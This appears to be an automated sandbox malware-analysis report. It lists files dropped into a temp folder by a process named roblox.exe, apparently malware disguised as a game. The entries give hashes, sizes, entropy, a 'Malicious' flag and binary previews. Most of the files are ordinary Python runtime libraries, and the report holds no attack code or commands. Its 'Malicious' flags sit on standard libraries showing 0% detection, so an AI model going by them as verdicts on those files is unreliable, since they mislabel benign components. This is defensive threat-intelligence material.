SSDEEP:	1536:r/p7Wh7XUagO7BR4SjavFHx8pIS5nWQ7Sy7o:r/tWhzUahBR4Sjahx8pIS5n5Fo
MD5:	6EB3C9FC8C216CEA8981B12FD41FBDCD
SHA1:	5F3787051F20514BB9E34F9D537D78C06E7A43E6
SHA-256:	3B0661EF2264D6566368B677C732BA062AC4688EF40C22476992A0F9536B0010
SHA-512:	2027707824D0948673443DD54B4F45BC44680C05C3C4A193C7C1803A1030124AD6C8FBE685CC7AAF15668D90C4CD9BFB93DE51EA8DB4AF5ABE742C1EF2DCD08B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&.~[b...b...b...k..`.......`.......n.......j.......a.......a.......`...b..........c.......c.......c.......c...Richb...........PE..d....K.b.........." ... .T..........`...............................................^.....`.............................................P...P...d........................)...........w..T...........................@v..@............p.. ............................text....R.......T.................. ..`.rdata...I...p...J...X..............@..@.data...(...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_bz2.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	83368
Entropy (8bit):	6.530099411242372
Encrypted:	false
SSDEEP:	1536:asRz7qNFcaO6ViD4fhaLRFc/a8kd7jzWHCxIStVs7Sywk:9RzGYYhaY9kd7jzWixIStVs+k
MD5:	A4B636201605067B676CC43784AE5570
SHA1:	E9F49D0FC75F25743D04CE23C496EB5F89E72A9A
SHA-256:	F178E29921C04FB68CC08B1E5D1181E5DF8CE1DE38A968778E27990F4A69973C
SHA-512:	02096BC36C7A9ECFA1712FE738B5EF8B78C6964E0E363136166657C153727B870A6A44C1E1EC9B81289D1AA0AF9C85F1A37B95B667103EDC2D3916280B6A9488
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........{..{..{...#.{......{....M.{......{......{......{......{..Z...{..{...{......{......{....O.{......{..Rich.{..........PE..d....K.b.........." ... .....^..............................................P......& ....`.........................................p...H............0....... .. ........)...@..........T...........................p...@............................................text...O........................... ..`.rdata..L>.......@..................@..@.data...............................@....pdata.. .... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_cffi_backend.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	178176
Entropy (8bit):	6.160618368535074
Encrypted:	false
SSDEEP:	3072:a28mc0wlApJaPh2dEVWkS0EDejc2zSTBcS7EkSTLkKDtJbtb:axTlApohBV1S0usWchkSTLLDDt
MD5:	2BAAA98B744915339AE6C016B17C3763
SHA1:	483C11673B73698F20CA2FF0748628C789B4DC68
SHA-256:	4F1CE205C2BE986C9D38B951B6BCB6045EB363E06DACC069A41941F80BE9068C
SHA-512:	2AE8DF6E764C0813A4C9F7AC5A08E045B44DAAC551E8FF5F8AA83286BE96AA0714D373B8D58E6D3AA4B821786A919505B74F118013D9FCD1EBC5A9E4876C2B5F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........#...p...p...p...p...p.y.q...p.y{p...p.y.q...p.y.q...p.y.q...p.q...pi..q...p...pX..p.x.q...p...p...p.x.q...p.xyp...p.x.q...pRich...p................PE..d......f.........." ...).....B.............................................. ............`.........................................PX..l....X.......................................?...............................=..@............................................text............................... ..`.rdata..............................@..@.data....].......0...j..............@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_ctypes.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	122792
Entropy (8bit):	6.021506515932983
Encrypted:	false
SSDEEP:	3072:bsQx9bm+edYe3ehG+20t7MqfrSW08UficVISQPkFPR:QQxCOhGB0tgqfrSiUficrZ
MD5:	87596DB63925DBFE4D5F0F36394D7AB0
SHA1:	AD1DD48BBC078FE0A2354C28CB33F92A7E64907E
SHA-256:	92D7954D9099762D81C1AE2836C11B6BA58C1883FDE8EEEFE387CC93F2F6AFB4
SHA-512:	E6D63E6FE1C3BD79F1E39CB09B6F56589F0EE80FD4F4638002FE026752BFA65457982ADBEF13150FA2F36E68771262D9378971023E07A75D710026ED37E83D7B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......T....ne..ne..ne......ne.p.d..ne.p.`..ne.p.a..ne.p.f..ne.t.d..ne...a..ne...d..ne...d..ne..nd..ne.t.h..ne.t.e..ne.t....ne.t.g..ne.Rich.ne.........PE..d....K.b.........." ... ............P[..............................................H.....`..........................................Q.......R...........................).......... ...T...............................@...............@............................text............................... ..`.rdata..nl.......n..................@..@.data...D>...p...8...^..............@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_decimal.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	250280
Entropy (8bit):	6.547354352688139
Encrypted:	false
SSDEEP:	6144:TogRj7JKM8c7N6FiFUGMKa3xB6Dhj9qWMa3pLW1A64WsqC:tPJKa7N6FEa3x4NlbqC
MD5:	10F7B96C666F332EC512EDADE873EECB
SHA1:	4F511C030D4517552979105A8BB8CCCF3A56FCEA
SHA-256:	6314C99A3EFA15307E7BDBE18C0B49BC841C734F42923A0B44AAB42ED7D4A62D
SHA-512:	CFE5538E3BECBC3AA5540C627AF7BF13AD8F5C160B581A304D1510E0CB2876D49801DF76916DCDA6B7E0654CE145BB66D6E31BD6174524AE681D5F2B49088419
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................7.......................................+.........c.........................[...........Rich...........PE..d....K.b.........." ... .p...:.......................................................^....`..........................................D..P...@E...................'.......)......@...p...T...........................0...@............................................text...]o.......p.................. ..`.rdata...............t..............@..@.data....)...`...$...L..............@....pdata...'.......(...p..............@..@.rsrc...............................@..@.reloc..@...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_hashlib.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	61864
Entropy (8bit):	6.210920109899827
Encrypted:	false
SSDEEP:	768:aSz5iGzcowlJF+aSe3kuKUZgL4dqDswE9+B1fpIS5IHYiSyvc9eEdB:npWlJF+aYupZbdqDOgB1fpIS5IH7Sy+V
MD5:	49CE7A28E1C0EB65A9A583A6BA44FA3B
SHA1:	DCFBEE380E7D6C88128A807F381A831B6A752F10
SHA-256:	1BE5CFD06A782B2AE8E4629D9D035CBC487074E8F63B9773C85E317BE29C0430
SHA-512:	CF1F96D6D61ECB2997BB541E9EDA7082EF4A445D3DD411CE6FD71B0DFE672F4DFADDF36AE0FB7D5F6D1345FBD90C19961A8F35328332CDAA232F322C0BF9A1F9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......zD.A>%..>%..>%..7]..:%..^_..<%..^_..2%..^_..6%..^_..=%..Z_..<%...W..<%...\..=%..>%...%..Z_..?%..Z_..?%..Z_..?%..Z_..?%..Rich>%..................PE..d....K.b.........." ... .P...z.......<..............................................Np....`............................................P...@............................)......X....l..T............................k..@............`..(............................text....N.......P.................. ..`.rdata..VM...`...N...T..............@..@.data...8...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..X...........................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_lzma.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	158120
Entropy (8bit):	6.838169661977938
Encrypted:	false
SSDEEP:	3072:MeORg8tdLRrHn5Xp4znfI9mNoY6JCvyPZxsyTxISe1KmDd:M/Rgo1L5wwYOY6MixJKR
MD5:	B5FBC034AD7C70A2AD1EB34D08B36CF8
SHA1:	4EFE3F21BE36095673D949CCEAC928E11522B29C
SHA-256:	80A6EBE46F43FFA93BBDBFC83E67D6F44A44055DE1439B06E4DD2983CB243DF6
SHA-512:	E7185DA748502B645030C96D3345D75814BA5FD95A997C2D1C923D981C44D5B90DB64FAF77DDBBDC805769AF1BEC37DAF0ECEE0930A248B67A1C2D92B59C250C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........m....................................................<.........................................Rich...........................PE..d....L.b.........." ... .d...........8...............................................p....`.........................................0%..L...\|%..x....p.......P.......@...)......H.......T...........................`...@............................................text...^c.......d.................. ..`.rdata..............h..............@..@.data........@......................@....pdata.......P....... ..............@..@.rsrc........p.......4..............@..@.reloc..H............>..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_multiprocessing.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	33192
Entropy (8bit):	6.3186201273933635
Encrypted:	false
SSDEEP:	768:Y3I65wgJ5xeSZg2edRnJ8ZISRtczYiSyvZCeEdP:gIgJ5Uqg2edRJ8ZISRtcz7Sy0b
MD5:	71AC323C9F6E8A174F1B308B8C036E88
SHA1:	0521DF96B0D622544638C1903D32B1AFF1F186B0
SHA-256:	BE8269C83666EAA342788E62085A3DB28F81512D2CFA6156BF137B13EBEBE9E0
SHA-512:	014D73846F06E9608525A4B737B7FCCBE2123D0E8EB17301244B9C1829498328F7BC839CC45A1563CF066668EA6E0C4E3A5A0821AB05C999A97C20AA669E9EDA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_.+.>.x.>.x.>.x.Fgx.>.x.D.y.>.x.D.y.>.x.D.y.>.x.D.y.>.x.D.y.>.x.>.x.>.xmL.y.>.x.D.y.>.x.D.y.>.x.D.x.>.x.D.y.>.xRich.>.x........................PE..d....K.b.........." ... .....<......0....................................................`.........................................0D..`....D..x....p.......`.......X...)...........4..T...........................p3..@............0...............................text............................... ..`.rdata..^....0... ..."..............@..@.data........P.......B..............@....pdata.......`.......H..............@..@.rsrc........p.......L..............@..@.reloc...............V..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_overlapped.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	48552
Entropy (8bit):	6.319402195167259
Encrypted:	false
SSDEEP:	768:9i4KJKYCKlBj7gKxwfZQ7ZlYXF1SVMHE4ftISstDYiSyvM+eEd2:hKJfBuAA1SVWBftISstD7Syti
MD5:	7E6BD435C918E7C34336C7434404EEDF
SHA1:	F3A749AD1D7513EC41066AB143F97FA4D07559E1
SHA-256:	0606A0C5C4AB46C4A25DED5A2772E672016CAC574503681841800F9059AF21C4
SHA-512:	C8BF4B1EC6C8FA09C299A8418EE38CDCCB04AFA3A3C2E6D92625DBC2DE41F81DD0DF200FD37FCC41909C2851AC5CA936AF632307115B9AC31EC020D9ED63F157
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|.K{8.%(8.%(8.%(1..(<.%(X.$):.%(X. )4.%(X.!)0.%(X.&);.%(\.$):.%(8.$(N.%(.$)=.%(.!)9.%(\.()9.%(\.%)9.%(\..(9.%(\.')9.%(Rich8.%(........PE..d....K.b.........." ... .>...X...... ................................................o....`..........................................w..X...(x...........................)...... ....V..T............................U..@............P...............................text....<.......>.................. ..`.rdata...4...P...6...B..............@..@.data................x..............@....pdata..............................@..@.rsrc...............................@..@.reloc.. ...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_queue.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	30632
Entropy (8bit):	6.41055734058478
Encrypted:	false
SSDEEP:	768:lez/Dt36r34krA4eVIS7UAYiSyvAEYeEdSiD:leDE34krA4eVIS7UA7Sy9YLD
MD5:	23F4BECF6A1DF36AEE468BB0949AC2BC
SHA1:	A0E027D79A281981F97343F2D0E7322B9FE9B441
SHA-256:	09C5FAF270FD63BDE6C45CC53B05160262C7CA47D4C37825ED3E15D479DAEE66
SHA-512:	3EE5B3B7583BE1408C0E1E1C885512445A7E47A69FF874508E8F0A00A66A40A0E828CE33E6F30DDC3AC518D69E4BB96C8B36011FB4EDEDF9A9630EF98A14893B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&.~Zb...b...b...k..`.......`.......n.......j.......a.......a.......`...b...+.......c.......c.......c.......c...Richb...........................PE..d....K.b.........." ... .....8.......................................................F....`..........................................C..L....C..d....p.......`.......N...)..........`4..T........................... 3..@............0..(............................text............................... ..`.rdata..2....0......................@..@.data...x....P.......:..............@....pdata.......`.......>..............@..@.rsrc........p.......B..............@..@.reloc...............L..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_socket.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	77736
Entropy (8bit):	6.247935524153974
Encrypted:	false
SSDEEP:	1536:C6DucXZAuj19/s+S+pjtk/DDTaVISQwn7SyML:C6DPXSuj19/sT+ppk/XWVISQwneL
MD5:	E137DF498C120D6AC64EA1281BCAB600
SHA1:	B515E09868E9023D43991A05C113B2B662183CFE
SHA-256:	8046BF64E463D5AA38D13525891156131CF997C2E6CDF47527BC352F00F5C90A
SHA-512:	CC2772D282B81873AA7C5CBA5939D232CCEB6BE0908B211EDB18C25A17CBDB5072F102C0D6B7BC9B6B2F1F787B56AB1BC9BE731BB9E98885C17E26A09C2BEB90
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...ry..ry..ry..{.g.ty......py.......y......zy......qy......py..ry...y......uy......sy......sy......sy......sy..Richry..................PE..d....K.b.........." ... .l.......... &.......................................P.......Q....`.............................................P...P........0....... ..l........)...@.........T...............................@............................................text...Rj.......l.................. ..`.rdata...s.......t...p..............@..@.data...............................@....pdata..l.... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_sqlite3.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	97704
Entropy (8bit):	6.173518585387285
Encrypted:	false
SSDEEP:	1536:GzgMWYDOavuvwYXGqijQaIrlIaiP9NbTp9c4L7ZJkyDpIS5Qux7Syce:NFYqDPSQaIrlI/DbLc2tJkyDpIS5QuxZ
MD5:	7F61EACBBBA2ECF6BF4ACF498FA52CE1
SHA1:	3174913F971D031929C310B5E51872597D613606
SHA-256:	85DE6D0B08B5CC1F2C3225C07338C76E1CAB43B4DE66619824F7B06CB2284C9E
SHA-512:	A5F6F830C7A5FADC3349B42DB0F3DA1FDDB160D7E488EA175BF9BE4732A18E277D2978720C0E294107526561A7011FADAB992C555D93E77D4411528E7C4E695A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........dQ...?...?...?..}....?..>...?......?..:...?..;...?..<...?..>...?.;w>...?...>...?..2...?..?...?......?..=...?.Rich..?.................PE..d....L.b.........." ... ............................................................4.....`.............................................P....................`.......T...)..............T...............................@...............`............................text...n........................... ..`.rdata...p.......r..................@..@.data...,....@......................@....pdata.......`.......2..............@..@.rsrc................F..............@..@.reloc...............P..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_ssl.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	159144
Entropy (8bit):	6.002098953253968
Encrypted:	false
SSDEEP:	3072:UhIDGtzShE3z/JHPUE0uev5J2oE/wu3rE923+nuI5Piev9muxISt710Y:UhIqtzShE3zhvyue5EMnuaF9mu3
MD5:	35F66AD429CD636BCAD858238C596828
SHA1:	AD4534A266F77A9CDCE7B97818531CE20364CB65
SHA-256:	58B772B53BFE898513C0EB264AE4FA47ED3D8F256BC8F70202356D20F9ECB6DC
SHA-512:	1CCA8E6C3A21A8B05CC7518BD62C4E3F57937910F2A310E00F13F60F6A94728EF2004A2F4A3D133755139C3A45B252E6DB76987B6B78BC8269A21AD5890356AD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........dI...'L..'L..'L.}.L..'L..&M..'L.."M..'L..#M..'L..$M..'L..&M..'Lz\|&M..'L..&Lt.'L)w&M..'L..M..'L..'M..'L...L..'L..%M..'LRich..'L................PE..d....K.b.........." ... ............l...................................................`............................................d...4........`.......P.......D...)...p..<.......T...............................@............................................text...x........................... ..`.rdata..J...........................@..@.data....j.......f..................@....pdata.......P....... ..............@..@.rsrc........`.......,..............@..@.reloc..<....p.......6..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\_uuid.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	23976
Entropy (8bit):	6.5352541220575695
Encrypted:	false
SSDEEP:	384:I3AVpEWz6TPQxISewl4IYiSy1pCQXdW4i/8E9VFL2Utah:ISpENTQxISewLYiSyvNWeEdy
MD5:	13AA3AF9AED86CC917177AE1F41ACC9B
SHA1:	F5D95679AFDA44A6689DBB45E93EBE0E9CD33D69
SHA-256:	51DD1EA5E8CACF7EC4CADEFDF685334C7725FF85978390D0B3D67FC8C54FE1DB
SHA-512:	E1F5DBD6C0AFCF207DE0100CBA6F1344FEB0006A5C12DC92768AB2D24E3312F0852F3CD31A416AAFEB0471CD13A6C0408F0DA62956F7870B2E22D174A8B23C45
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&Gp.G)#.G)#.G)#.?.#.G)#.=(".G)#.=,".G)#.=-".G)#.=*".G)#.=(".G)#55(".G)#.G(#.G)#.=!".G)#.=)".G)#.=.#.G)#.=+".G)#Rich.G)#................PE..d....K.b.........." ... .....&...... ........................................p.......&....`.........................................`)..L....)..x....P.......@.......4...)...`..@...`#..T........................... "..@............ ..8............................text...h........................... ..`.rdata....... ......................@..@.data........0.......$..............@....pdata.......@.......&..............@..@.rsrc........P.......(..............@..@.reloc..@....`.......2..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\aiohttp\_helpers.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	54784
Entropy (8bit):	5.723071280644947
Encrypted:	false
SSDEEP:	768:DTcl94C2NHW3W3MvYrglsf9pbjfYSLBJrIBhGyoCOpq7+xBNnQfQ0uwu:Hcl9sUmMVodbJkPhox5UQ0uB
MD5:	BF489369F5E8A61CCA71E29009DC5D95
SHA1:	54299F6521B9C397F8969CA92404F492CF572AF6
SHA-256:	652364BEA64C5CB50B81CA43A09418E75FD374FFD374DBAA193F4EBB3F9F36BD
SHA-512:	C34E607DAF025F6ECC6B8C5118468F4B1EFD82B373C1EA382BB57C33D45845DD28B62111425DDBA637C9C91DF111B1936A950D19BE872F8716FF04B5CF91BDB9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......*..[n..n..n..g.5.l...g..l..%...l...g..m...g..f...g..b......m..n.....{`..o..{`..o..{`Y.o..{`..o..Richn..........PE..d......f.........." ...(.....V...... ........................................0............`.........................................0...`.......d............................ .........................................@............................................text...x........................... ..`.rdata...6.......8..................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\aiohttp\_http_parser.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	265216
Entropy (8bit):	6.169190575012905
Encrypted:	false
SSDEEP:	3072:6VuE3wfVay+yG9N5EcV5E5V0HV5ffOxnGNp6P2eUm6PIZoHhbjI5l:qV3wfVUv5Eq5ffXKP2RgUbj2
MD5:	CFCEB0CC2F7BFE5F8E33061EB40662ED
SHA1:	8D27CFA4BF1E32C5EF17BBA4AF1815AB0523A13B
SHA-256:	489521FC6B3DE3ABD2F9F3C17DFC42919E44B53453EA439B30240A986152B07C
SHA-512:	377E3F3BDB89B486D76860D6BC66D0741F29035105F74CC9CCBF34842F5DA1E7855D9A9531B8AAAD482E708AE49BFBE012E857BF72CED2975AEB4D6B64528918
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\.<...RR..RR..RR...R..RR..SS..RRS.SS..RR..SS..RR..SR.RR..QS..RR..VS..RR..WS..RR..ZS..RR..RS..RR...R..RR..PS..RRRich..RR................PE..d......f.........." ...(.............0....................................................`.........................................@...........x....`.......@..H............p..\......................................@............@...............................text....-.......................... ..`.rdata.......@.......2..............@..@.data....F..........................@....pdata..H....@......................@..@.rsrc........`......................@..@.reloc..\....p......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\aiohttp\_http_writer.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	5.733157245866308
Encrypted:	false
SSDEEP:	768:dFd3TU4fyPems4AhK4n+e5RtoyTyc6Ko2gs5lhpWuFPbPHDPY/Sq8lWi/m7:djTUOF1g4+er2y2HKdgsf/lHjsS7lWi
MD5:	60A5DF89F9F9812619FC145B497D7EF0
SHA1:	A52F234C1C20CA75E58CEFDDAFF82AA3AD1FE758
SHA-256:	C4F748A1BA5AFF15719358C8C98A4B3D58E9A54B0B3FE56A371ECDEFA566278F
SHA-512:	C188BCF9C617B2C1FA333B1F71342C75DA0248898D7F2BA98B887EC46EA750C04CC3EF4DF82860BC69D59FA8A746736B598F37DF8650FF3727D6342B09309974
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6..Tr..r..r..{.5.p...g..p..9...p...g..q...g..z...g..~......q..r.....g`..s..g`..s..g`Y.s..g`..s..Richr..................PE..d......f.........." ...(.v...........x.......................................P............`............................................h...H...d....0....... ..0............@......`............................... ...@...............H............................text...(u.......v.................. ..`.rdata...0.......2...z..............@..@.data...(N..........................@....pdata..0.... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\aiohttp\_websocket.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	5.5970447917528094
Encrypted:	false
SSDEEP:	768:YrQDXgJinHx+wr47jrqJUfuk3HI6cX27T/U2HCWWwGeq:ISvHx9s7jus3H9LH5WwGe
MD5:	1D2338EFB662095C61A31B36C7FF9A0D
SHA1:	DEAEEF56D21CBDF5FED321C4574490334F4453EF
SHA-256:	6C092641F8C45B0187A3B5133720AE1BDA215E1E92A9E094AB37DAB4AA7F6642
SHA-512:	ACFD558B8CC48ED6356EA20FEAD7D87B402E67955AC1A9B8C3F8C688284376622E30297323CCCEB5A1E81F5F2443B8F6D3A0587B29D46B8CDF9AD666121C9B7E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......*.H[n.&.n.&.n.&.g...l.&..g'.l.&.%.'.l.&..g%.m.&..g".f.&..g#.b.&...'.m.&.n.'...&.{`..o.&.{`&.o.&.{`..o.&.{`$.o.&.Richn.&.........................PE..d......f.........." ...(.N...D......0P....................................................`..........................................\|..d...t\|..d...............4................... s...............................q..@............`...............................text....L.......N.................. ..`.rdata...+...`...,...R..............@..@.data................~..............@....pdata..4...........................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\certifi\cacert.pem

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299427
Entropy (8bit):	6.047872935262006
Encrypted:	false
SSDEEP:	6144:QW1x/M8fRR1jplkXURrVADwYCuCigT/QRSRqNb7d8iu5Nahx:QWb/TRJLWURrI5RWavdF08/
MD5:	50EA156B773E8803F6C1FE712F746CBA
SHA1:	2C68212E96605210EDDF740291862BDF59398AEF
SHA-256:	94EDEB66E91774FCAE93A05650914E29096259A5C7E871A1F65D461AB5201B47
SHA-512:	01ED2E7177A99E6CB3FBEF815321B6FA036AD14A3F93499F2CB5B0DAE5B713FD2E6955AA05F6BDA11D80E9E0275040005E5B7D616959B28EFC62ABB43A3238F0
Malicious:	false
Reputation:	unknown
Preview:	.# Issuer: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Subject: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Label: "GlobalSign Root CA".# Serial: 4835703278459707669005204.# MD5 Fingerprint: 3e:45:52:15:09:51:92:e1:b7:5d:37:9f:b1:87:29:8a.# SHA1 Fingerprint: b1:bc:96:8b:d4:f4:9d:62:2a:a8:9a:81:f2:15:01:52:a4:1d:82:9c.# SHA256 Fingerprint: eb:d4:10:40:e4:bb:3e:c7:42:c9:e3:81:d3:1e:f2:a4:1a:48:b6:68:5c:96:e7:ce:f3:c1:df:6c:d4:33:1c:99.-----BEGIN CERTIFICATE-----.MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG.A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv.b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw.MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i.YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT.aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ.jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp.xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz

C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\cryptography\hazmat\bindings\_rust.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7900672
Entropy (8bit):	6.519460416205842
Encrypted:	false
